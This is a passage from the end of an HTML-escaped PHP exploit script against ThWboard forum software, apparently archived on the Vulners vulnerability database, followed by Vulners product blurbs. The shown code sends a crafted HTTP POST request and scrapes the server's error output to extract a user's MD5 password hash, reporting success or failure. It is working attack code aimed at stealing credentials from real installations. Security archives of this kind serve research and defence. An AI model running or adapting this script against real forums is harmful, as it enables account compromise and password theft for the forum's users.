$packet.=&quot;Host:&nbsp;&quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Content-Length:&nbsp;&quot;.strlen($data).&quot;\r\n&quot;;
$packet.=&quot;Connection:&nbsp;close\r\n\r\n&quot;;
$packet.=$data;
sendpacketii($packet);
if&nbsp;(eregi(&quot;&lt;pre&gt;&lt;b&gt;ThWboard&nbsp;Error&lt;/b&gt;&lt;br&gt;&quot;,$html)){echo&nbsp;$html;&nbsp;die(&quot;\n\nquery&nbsp;error...&nbsp;see&nbsp;html&quot;);}
$temp=explode(&quot;templates/&quot;,$html);
$temp2=explode(&quot;/&quot;,$temp[1]);
$pwd_hash=$temp2[0];
if&nbsp;(is_hash($pwd_hash))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;die(&quot;pwd&nbsp;hash&nbsp;(md5)&nbsp;-&gt;&nbsp;&quot;.$pwd_hash.&quot;\n&quot;);
}
if&nbsp;(eregi(&quot;templates//frame.html&quot;,$html)){echo&nbsp;&quot;no&nbsp;user&nbsp;with&nbsp;given&nbsp;name...\n&quot;;}
echo(&nbsp;&quot;exploit&nbsp;failed...\n\n&quot;.$html);
}
?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation